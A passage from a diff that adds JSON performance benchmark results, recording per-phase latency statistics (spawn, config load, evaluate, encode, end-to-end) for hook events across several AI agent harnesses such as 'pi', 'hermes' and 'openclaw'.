3.94 + ], + "e2e": [ + 65.75, + 71.44, + 72.45 + ] + }, + "e2eMean": 66.16, + "e2eStddev": 2.95, + "e2eMin": 60.24, + "e2eMax": 72.45 + }, + "pi|PostToolUse": { + "n": 50, + "matched": 5, + "customHooks": 0, + "phases": { + "spawn": [ + 60.9, + 64.59, + 68.31 + ], + "configLoad": [ + 0.54, + 0.59, + 0.7 + ], + "evaluate": [ + 0.57, + 0.59, + 0.63 + ], + "encode": [ + 0.26, + 0.29, + 0.33 + ], + "other": [ + 3.2, + 3.93, + 4.13 + ], + "e2e": [ + 65.25, + 69.28, + 72.64 + ] + }, + "e2eMean": 65.16, + "e2eStddev": 3.04, + "e2eMin": 59.62, + "e2eMax": 72.64 + }, + "pi|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.95, + 65.27, + 75.65 + ], + "configLoad": [ + 0.54, + 0.58, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.25, + 3.84, + 3.95 + ], + "e2e": [ + 64.51, + 70.23, + 79.97 + ] + }, + "e2eMean": 65.16, + "e2eStddev": 3.62, + "e2eMin": 59.99, + "e2eMax": 79.97 + }, + "pi|Notification": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.94, + 64.91, + 68.59 + ], + "configLoad": [ + 0.54, + 0.57, + 0.61 + ], + "evaluate": [ + 0.16, + 0.17, + 0.29 + ], + "encode": [ + 0.25, + 0.26, + 0.26 + ], + "other": [ + 3.29, + 3.88, + 3.9 + ], + "e2e": [ + 65.27, + 69.31, + 72.38 + ] + }, + "e2eMean": 65.14, + "e2eStddev": 2.53, + "e2eMin": 59.52, + "e2eMax": 72.38 + }, + "pi|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.4, + 67.62, + 70.74 + ], + "configLoad": [ + 0.54, + 0.61, + 0.63 + ], + "evaluate": [ + 0.16, + 0.19, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.35 + ], + "other": [ + 3.25, + 3.96, + 4.14 + ], + "e2e": [ + 65.21, + 71.97, + 74.19 + ] + }, + "e2eMean": 65.85, + "e2eStddev": 3.29, + "e2eMin": 60.29, + "e2eMax": 74.19 + }, + "pi|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.89, + 65.03, + 65.89 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 3.4, + 3.89, + 3.98 + ], + "e2e": [ + 65.28, + 69.29, + 70.54 + ] + }, + "e2eMean": 65.19, + "e2eStddev": 2.77, + "e2eMin": 59.33, + "e2eMax": 70.54 + }, + "pi|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.17, + 67.26, + 69.9 + ], + "configLoad": [ + 0.55, + 0.58, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.38, + 3.82, + 3.97 + ], + "e2e": [ + 65.92, + 71.94, + 74.41 + ] + }, + "e2eMean": 66.11, + "e2eStddev": 3.43, + "e2eMin": 59.91, + "e2eMax": 74.41 + }, + "pi|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.81, + 66.29, + 67.95 + ], + "configLoad": [ + 0.54, + 0.58, + 0.67 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.28, + 0.38 + ], + "other": [ + 3.32, + 3.9, + 4.05 + ], + "e2e": [ + 65.23, + 70.91, + 72.56 + ] + }, + "e2eMean": 65.11, + "e2eStddev": 2.88, + "e2eMin": 60.33, + "e2eMax": 72.56 + }, + "pi|Stop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.47, + 64.96, + 70.66 + ], + "configLoad": [ + 0.55, + 0.59, + 0.83 + ], + "evaluate": [ + 0.16, + 0.18, + 0.25 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 3.16, + 3.78, + 3.96 + ], + "e2e": [ + 64.84, + 69.21, + 74.52 + ] + }, + "e2eMean": 65.01, + "e2eStddev": 3.19, + "e2eMin": 59.9, + "e2eMax": 74.52 + }, + "pi|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.36, + 65.42, + 66.69 + ], + "configLoad": [ + 0.53, + 0.61, + 0.84 + ], + "evaluate": [ + 0.16, + 0.19, + 0.25 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 3.47, + 4, + 4.78 + ], + "e2e": [ + 65.68, + 69.85, + 71.2 + ] + }, + "e2eMean": 65.92, + "e2eStddev": 2.28, + "e2eMin": 60.53, + "e2eMax": 71.2 + }, + "pi|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.79, + 66.44, + 73.95 + ], + "configLoad": [ + 0.54, + 0.61, + 0.71 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.35 + ], + "other": [ + 3.35, + 3.95, + 4.18 + ], + "e2e": [ + 65.05, + 70.65, + 78.58 + ] + }, + "e2eMean": 65.12, + "e2eStddev": 3.46, + "e2eMin": 59.46, + "e2eMax": 78.58 + }, + "pi|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.58, + 66.77, + 76.97 + ], + "configLoad": [ + 0.54, + 0.59, + 1.05 + ], + "evaluate": [ + 0.16, + 0.19, + 0.29 + ], + "encode": [ + 0.25, + 0.29, + 0.43 + ], + "other": [ + 3.33, + 3.86, + 3.96 + ], + "e2e": [ + 66.09, + 71.36, + 81.35 + ] + }, + "e2eMean": 66.25, + "e2eStddev": 3.64, + "e2eMin": 60.04, + "e2eMax": 81.35 + }, + "pi|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.61, + 69.09, + 71.04 + ], + "configLoad": [ + 0.55, + 0.6, + 0.63 + ], + "evaluate": [ + 0.17, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.21, + 3.72, + 3.99 + ], + "e2e": [ + 65.63, + 73.81, + 75.13 + ] + }, + "e2eMean": 66.21, + "e2eStddev": 3.62, + "e2eMin": 60.25, + "e2eMax": 75.13 + }, + "pi|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.6, + 66.01, + 69.36 + ], + "configLoad": [ + 0.55, + 0.6, + 0.62 + ], + "evaluate": [ + 0.16, + 0.19, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.33 + ], + "other": [ + 3.17, + 3.9, + 3.99 + ], + "e2e": [ + 64.83, + 70.31, + 73.75 + ] + }, + "e2eMean": 65.25, + "e2eStddev": 3.02, + "e2eMin": 60.26, + "e2eMax": 73.75 + }, + "pi|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.95, + 65.48, + 72.88 + ], + "configLoad": [ + 0.55, + 0.6, + 1.01 + ], + "evaluate": [ + 0.16, + 0.18, + 0.28 + ], + "encode": [ + 0.25, + 0.27, + 0.42 + ], + "other": [ + 3.13, + 3.94, + 4.08 + ], + "e2e": [ + 66.2, + 69.97, + 77.71 + ] + }, + "e2eMean": 65.9, + "e2eStddev": 3.1, + "e2eMin": 59.49, + "e2eMax": 77.71 + }, + "pi|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.46, + 68.91, + 69.44 + ], + "configLoad": [ + 0.55, + 0.6, + 1.02 + ], + "evaluate": [ + 0.17, + 0.19, + 0.29 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 3.38, + 4.04, + 4.25 + ], + "e2e": [ + 66.6, + 73.27, + 74.46 + ] + }, + "e2eMean": 66.97, + "e2eStddev": 3.03, + "e2eMin": 61.12, + "e2eMax": 74.46 + }, + "pi|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.19, + 65.25, + 65.47 + ], + "configLoad": [ + 0.55, + 0.61, + 0.78 + ], + "evaluate": [ + 0.16, + 0.18, + 0.22 + ], + "encode": [ + 0.24, + 0.28, + 0.41 + ], + "other": [ + 3.43, + 3.98, + 4.2 + ], + "e2e": [ + 65.5, + 69.75, + 70.14 + ] + }, + "e2eMean": 65.38, + "e2eStddev": 2.66, + "e2eMin": 59.13, + "e2eMax": 70.14 + }, + "pi|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.31, + 65.63, + 70.39 + ], + "configLoad": [ + 0.54, + 0.58, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.3, + 3.95, + 4.1 + ], + "e2e": [ + 64.98, + 70.08, + 75.04 + ] + }, + "e2eMean": 65.09, + "e2eStddev": 2.78, + "e2eMin": 59.88, + "e2eMax": 75.04 + }, + "pi|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.99, + 65.74, + 67.12 + ], + "configLoad": [ + 0.54, + 0.59, + 0.73 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.3 + ], + "other": [ + 3.36, + 3.89, + 3.92 + ], + "e2e": [ + 65.42, + 69.81, + 71.54 + ] + }, + "e2eMean": 65.28, + "e2eStddev": 2.54, + "e2eMin": 60.27, + "e2eMax": 71.54 + }, + "pi|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.55, + 64.99, + 67.96 + ], + "configLoad": [ + 0.55, + 0.63, + 0.64 + ], + "evaluate": [ + 0.16, + 0.19, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.37 + ], + "other": [ + 3.4, + 3.86, + 4.14 + ], + "e2e": [ + 65.68, + 69.36, + 72.11 + ] + }, + "e2eMean": 65.96, + "e2eStddev": 2.3, + "e2eMin": 60.47, + "e2eMax": 72.11 + }, + "pi|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.11, + 66.18, + 66.4 + ], + "configLoad": [ + 0.55, + 0.59, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.44, + 3.83, + 3.94 + ], + "e2e": [ + 65.49, + 70.68, + 71.11 + ] + }, + "e2eMean": 65.45, + "e2eStddev": 2.84, + "e2eMin": 59.55, + "e2eMax": 71.11 + }, + "pi|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.06, + 67.55, + 68.52 + ], + "configLoad": [ + 0.54, + 0.6, + 0.65 + ], + "evaluate": [ + 0.16, + 0.18, + 0.24 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 3.36, + 3.94, + 4.08 + ], + "e2e": [ + 66.56, + 71.8, + 72.47 + ] + }, + "e2eMean": 66.84, + "e2eStddev": 3.39, + "e2eMin": 59.03, + "e2eMax": 72.47 + }, + "pi|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.92, + 69.15, + 77.01 + ], + "configLoad": [ + 0.54, + 0.59, + 0.64 + ], + "evaluate": [ + 0.16, + 0.18, + 0.23 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.51, + 3.94, + 4.06 + ], + "e2e": [ + 66.35, + 73.75, + 81.8 + ] + }, + "e2eMean": 66.75, + "e2eStddev": 3.78, + "e2eMin": 60.44, + "e2eMax": 81.8 + }, + "pi|Setup": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.24, + 65.92, + 67.23 + ], + "configLoad": [ + 0.55, + 0.59, + 0.95 + ], + "evaluate": [ + 0.16, + 0.18, + 0.29 + ], + "encode": [ + 0.25, + 0.27, + 0.45 + ], + "other": [ + 3.53, + 3.89, + 4.04 + ], + "e2e": [ + 65.95, + 71.03, + 71.28 + ] + }, + "e2eMean": 65.93, + "e2eStddev": 2.78, + "e2eMin": 60.91, + "e2eMax": 71.28 + }, + "hermes|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.96, + 67.59, + 74.1 + ], + "configLoad": [ + 0.55, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.28, + 0.34 + ], + "other": [ + 3.29, + 3.92, + 4.08 + ], + "e2e": [ + 66.29, + 71.18, + 77.67 + ] + }, + "e2eMean": 66.18, + "e2eStddev": 3.39, + "e2eMin": 59.91, + "e2eMax": 77.67 + }, + "hermes|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.85, + 64.94, + 66.04 + ], + "configLoad": [ + 0.54, + 0.6, + 0.62 + ], + "evaluate": [ + 0.16, + 0.2, + 0.21 + ], + "encode": [ + 0.25, + 0.28, + 0.3 + ], + "other": [ + 3.51, + 3.99, + 4.03 + ], + "e2e": [ + 65.17, + 69.14, + 70.34 + ] + }, + "e2eMean": 65.31, + "e2eStddev": 2.36, + "e2eMin": 60.79, + "e2eMax": 70.34 + }, + "hermes|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.23, + 64.97, + 66.72 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.35 + ], + "encode": [ + 0.24, + 0.28, + 0.3 + ], + "other": [ + 3.52, + 4.02, + 4.12 + ], + "e2e": [ + 64.53, + 69.46, + 71.54 + ] + }, + "e2eMean": 64.79, + "e2eStddev": 2.41, + "e2eMin": 59.34, + "e2eMax": 71.54 + }, + "hermes|PreToolUse": { + "n": 50, + "matched": 6, + "customHooks": 0, + "phases": { + "spawn": [ + 61.63, + 65.6, + 67.85 + ], + "configLoad": [ + 0.54, + 0.6, + 0.71 + ], + "evaluate": [ + 1.06, + 1.12, + 1.13 + ], + "encode": [ + 0.26, + 0.3, + 0.32 + ], + "other": [ + 3.55, + 3.88, + 4.05 + ], + "e2e": [ + 66.87, + 70.76, + 73.25 + ] + }, + "e2eMean": 66.56, + "e2eStddev": 2.77, + "e2eMin": 60.23, + "e2eMax": 73.25 + }, + "hermes|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 0, + "phases": { + "spawn": [ + 61.05, + 64.83, + 65.47 + ], + "configLoad": [ + 0.54, + 0.58, + 0.59 + ], + "evaluate": [ + 0.31, + 0.32, + 0.34 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 3.32, + 3.91, + 3.99 + ], + "e2e": [ + 65.48, + 69.29, + 70.32 + ] + }, + "e2eMean": 65.48, + "e2eStddev": 2.49, + "e2eMin": 60.73, + "e2eMax": 70.32 + }, + "hermes|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.72, + 64.74, + 66.79 + ], + "configLoad": [ + 0.55, + 0.59, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 3.32, + 3.94, + 4.01 + ], + "e2e": [ + 65.07, + 69.32, + 71.2 + ] + }, + "e2eMean": 65.24, + "e2eStddev": 2.7, + "e2eMin": 60.36, + "e2eMax": 71.2 + }, + "hermes|PostToolUse": { + "n": 50, + "matched": 5, + "customHooks": 0, + "phases": { + "spawn": [ + 61.82, + 64.92, + 66.14 + ], + "configLoad": [ + 0.54, + 0.66, + 0.86 + ], + "evaluate": [ + 0.57, + 0.63, + 0.87 + ], + "encode": [ + 0.26, + 0.31, + 0.39 + ], + "other": [ + 3.31, + 4.06, + 4.11 + ], + "e2e": [ + 66.77, + 69.87, + 70.69 + ] + }, + "e2eMean": 66.44, + "e2eStddev": 2.31, + "e2eMin": 60.83, + "e2eMax": 70.69 + }, + "hermes|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.14, + 65.71, + 68.58 + ], + "configLoad": [ + 0.54, + 0.61, + 0.67 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 3.42, + 3.98, + 4.16 + ], + "e2e": [ + 65.58, + 70.11, + 72.93 + ] + }, + "e2eMean": 65.69, + "e2eStddev": 2.75, + "e2eMin": 60.78, + "e2eMax": 72.93 + }, + "hermes|Notification": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.67, + 66.01, + 68.01 + ], + "configLoad": [ + 0.54, + 0.58, + 0.81 + ], + "evaluate": [ + 0.16, + 0.18, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 3.4, + 3.91, + 4.05 + ], + "e2e": [ + 64.97, + 70.7, + 72.92 + ] + }, + "e2eMean": 64.99, + "e2eStddev": 2.85, + "e2eMin": 58.36, + "e2eMax": 72.92 + }, + "hermes|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.07, + 65.69, + 66.88 + ], + "configLoad": [ + 0.54, + 0.6, + 0.99 + ], + "evaluate": [ + 0.16, + 0.18, + 0.29 + ], + "encode": [ + 0.25, + 0.28, + 0.39 + ], + "other": [ + 3.36, + 4.05, + 5.25 + ], + "e2e": [ + 64.35, + 70.29, + 71.07 + ] + }, + "e2eMean": 64.96, + "e2eStddev": 2.85, + "e2eMin": 58.49, + "e2eMax": 71.07 + }, + "hermes|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.12, + 68.69, + 71.12 + ], + "configLoad": [ + 0.54, + 0.61, + 0.86 + ], + "evaluate": [ + 0.16, + 0.18, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 3.25, + 3.94, + 3.96 + ], + "e2e": [ + 64.24, + 73.25, + 75.05 + ] + }, + "e2eMean": 65.36, + "e2eStddev": 3.61, + "e2eMin": 59.1, + "e2eMax": 75.05 + }, + "hermes|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.74, + 67.87, + 69.73 + ], + "configLoad": [ + 0.55, + 0.62, + 0.65 + ], + "evaluate": [ + 0.17, + 0.2, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.19, + 3.93, + 4.16 + ], + "e2e": [ + 66.19, + 72.2, + 74.03 + ] + }, + "e2eMean": 66.23, + "e2eStddev": 3.43, + "e2eMin": 60.14, + "e2eMax": 74.03 + }, + "hermes|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.84, + 66.59, + 70.71 + ], + "configLoad": [ + 0.56, + 0.74, + 1.1 + ], + "evaluate": [ + 0.17, + 0.19, + 0.3 + ], + "encode": [ + 0.25, + 0.28, + 0.42 + ], + "other": [ + 3.25, + 3.77, + 4.32 + ], + "e2e": [ + 66.81, + 71.75, + 75.01 + ] + }, + "e2eMean": 66.83, + "e2eStddev": 3.27, + "e2eMin": 60.89, + "e2eMax": 75.01 + }, + "hermes|Stop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.7, + 65.18, + 67.82 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 3.22, + 3.83, + 4.09 + ], + "e2e": [ + 64.84, + 69.8, + 72.02 + ] + }, + "e2eMean": 64.93, + "e2eStddev": 2.6, + "e2eMin": 60.12, + "e2eMax": 72.02 + }, + "hermes|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.07, + 65.98, + 68.56 + ], + "configLoad": [ + 0.55, + 0.58, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.23 + ], + "encode": [ + 0.25, + 0.26, + 0.28 + ], + "other": [ + 3.38, + 3.93, + 3.96 + ], + "e2e": [ + 65.58, + 70.46, + 73.19 + ] + }, + "e2eMean": 65.28, + "e2eStddev": 2.95, + "e2eMin": 60.26, + "e2eMax": 73.19 + }, + "hermes|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.77, + 65.9, + 68.5 + ], + "configLoad": [ + 0.54, + 0.6, + 0.86 + ], + "evaluate": [ + 0.16, + 0.18, + 0.29 + ], + "encode": [ + 0.25, + 0.26, + 0.43 + ], + "other": [ + 3.13, + 3.82, + 4.02 + ], + "e2e": [ + 64.96, + 70.27, + 72.95 + ] + }, + "e2eMean": 64.81, + "e2eStddev": 2.93, + "e2eMin": 59.04, + "e2eMax": 72.95 + }, + "hermes|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.29, + 64.04, + 66.42 + ], + "configLoad": [ + 0.54, + 0.6, + 0.63 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.24, + 0.26, + 0.29 + ], + "other": [ + 3.41, + 3.98, + 3.99 + ], + "e2e": [ + 64.7, + 68.45, + 71.29 + ] + }, + "e2eMean": 64.8, + "e2eStddev": 2.49, + "e2eMin": 58.81, + "e2eMax": 71.29 + }, + "hermes|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.47, + 66.82, + 77.45 + ], + "configLoad": [ + 0.55, + 0.59, + 0.64 + ], + "evaluate": [ + 0.16, + 0.19, + 0.25 + ], + "encode": [ + 0.25, + 0.28, + 0.31 + ], + "other": [ + 3.34, + 3.93, + 3.98 + ], + "e2e": [ + 65.07, + 70.91, + 81.89 + ] + }, + "e2eMean": 65.57, + "e2eStddev": 3.48, + "e2eMin": 59.49, + "e2eMax": 81.89 + }, + "hermes|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.97, + 63.84, + 64.52 + ], + "configLoad": [ + 0.55, + 0.61, + 0.76 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.37 + ], + "other": [ + 3.3, + 3.89, + 4.04 + ], + "e2e": [ + 65.22, + 68.2, + 69.09 + ] + }, + "e2eMean": 65.09, + "e2eStddev": 2.21, + "e2eMin": 58.9, + "e2eMax": 69.09 + }, + "hermes|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.78, + 63.22, + 63.9 + ], + "configLoad": [ + 0.54, + 0.58, + 0.63 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.29, + 0.32 + ], + "other": [ + 3.41, + 3.95, + 4.13 + ], + "e2e": [ + 65.08, + 67.54, + 68.6 + ] + }, + "e2eMean": 64.81, + "e2eStddev": 2, + "e2eMin": 60.69, + "e2eMax": 68.6 + }, + "hermes|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.53, + 64.42, + 65.73 + ], + "configLoad": [ + 0.54, + 0.59, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.24 + ], + "encode": [ + 0.24, + 0.26, + 0.28 + ], + "other": [ + 3.4, + 3.89, + 3.98 + ], + "e2e": [ + 64.86, + 69.15, + 70.06 + ] + }, + "e2eMean": 64.87, + "e2eStddev": 2.4, + "e2eMin": 60.8, + "e2eMax": 70.06 + }, + "hermes|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.33, + 69.89, + 71.77 + ], + "configLoad": [ + 0.55, + 0.63, + 1.07 + ], + "evaluate": [ + 0.17, + 0.26, + 0.32 + ], + "encode": [ + 0.25, + 0.29, + 0.4 + ], + "other": [ + 3.21, + 3.82, + 3.85 + ], + "e2e": [ + 65.63, + 74, + 75.96 + ] + }, + "e2eMean": 65.89, + "e2eStddev": 3.63, + "e2eMin": 59.65, + "e2eMax": 75.96 + }, + "hermes|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.14, + 67.31, + 71.03 + ], + "configLoad": [ + 0.54, + 0.61, + 0.66 + ], + "evaluate": [ + 0.16, + 0.2, + 0.22 + ], + "encode": [ + 0.25, + 0.28, + 0.37 + ], + "other": [ + 3.46, + 3.82, + 4.05 + ], + "e2e": [ + 65.62, + 71.8, + 75.63 + ] + }, + "e2eMean": 65.87, + "e2eStddev": 3.23, + "e2eMin": 60.5, + "e2eMax": 75.63 + }, + "hermes|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.33, + 64.3, + 67.22 + ], + "configLoad": [ + 0.54, + 0.58, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.24, + 0.26, + 0.26 + ], + "other": [ + 3.51, + 3.95, + 4.31 + ], + "e2e": [ + 65.67, + 69.02, + 71.23 + ] + }, + "e2eMean": 65.54, + "e2eStddev": 2.7, + "e2eMin": 59.94, + "e2eMax": 71.23 + }, + "hermes|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.81, + 64.48, + 69.11 + ], + "configLoad": [ + 0.54, + 0.57, + 0.67 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.47, + 3.88, + 4.02 + ], + "e2e": [ + 65.46, + 68.74, + 73.69 + ] + }, + "e2eMean": 65.28, + "e2eStddev": 2.64, + "e2eMin": 60.37, + "e2eMax": 73.69 + }, + "hermes|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.55, + 64.98, + 66.68 + ], + "configLoad": [ + 0.55, + 0.59, + 1.04 + ], + "evaluate": [ + 0.16, + 0.18, + 0.3 + ], + "encode": [ + 0.25, + 0.26, + 0.41 + ], + "other": [ + 3.42, + 3.9, + 4.57 + ], + "e2e": [ + 65.06, + 69.32, + 71.23 + ] + }, + "e2eMean": 65.03, + "e2eStddev": 2.55, + "e2eMin": 58.79, + "e2eMax": 71.23 + }, + "hermes|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.64, + 64.57, + 66.86 + ], + "configLoad": [ + 0.55, + 0.6, + 0.83 + ], + "evaluate": [ + 0.16, + 0.19, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.34 + ], + "other": [ + 3.46, + 3.94, + 4.08 + ], + "e2e": [ + 65.44, + 68.87, + 71.51 + ] + }, + "e2eMean": 65.24, + "e2eStddev": 2.56, + "e2eMin": 60.32, + "e2eMax": 71.51 + }, + "hermes|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.82, + 66.2, + 69.02 + ], + "configLoad": [ + 0.54, + 0.63, + 0.69 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.41, + 3.83, + 3.96 + ], + "e2e": [ + 65.13, + 70.37, + 73.81 + ] + }, + "e2eMean": 65.42, + "e2eStddev": 2.83, + "e2eMin": 60.96, + "e2eMax": 73.81 + }, + "hermes|Setup": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.73, + 65.75, + 67.54 + ], + "configLoad": [ + 0.54, + 0.59, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 3.37, + 3.83, + 3.96 + ], + "e2e": [ + 66.2, + 69.69, + 71.95 + ] + }, + "e2eMean": 65.97, + "e2eStddev": 2.26, + "e2eMin": 59.07, + "e2eMax": 71.95 + }, + "openclaw|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.47, + 66.44, + 67.75 + ], + "configLoad": [ + 0.54, + 0.57, + 0.61 + ], + "evaluate": [ + 0.16, + 0.17, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.49, + 3.88, + 3.94 + ], + "e2e": [ + 64.68, + 70.68, + 72.41 + ] + }, + "e2eMean": 65.55, + "e2eStddev": 2.65, + "e2eMin": 61.28, + "e2eMax": 72.41 + }, + "openclaw|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.28, + 65.96, + 68.29 + ], + "configLoad": [ + 0.54, + 0.62, + 0.69 + ], + "evaluate": [ + 0.16, + 0.2, + 0.25 + ], + "encode": [ + 0.25, + 0.27, + 0.38 + ], + "other": [ + 3.33, + 3.83, + 4.06 + ], + "e2e": [ + 65.82, + 70.38, + 72.46 + ] + }, + "e2eMean": 65.69, + 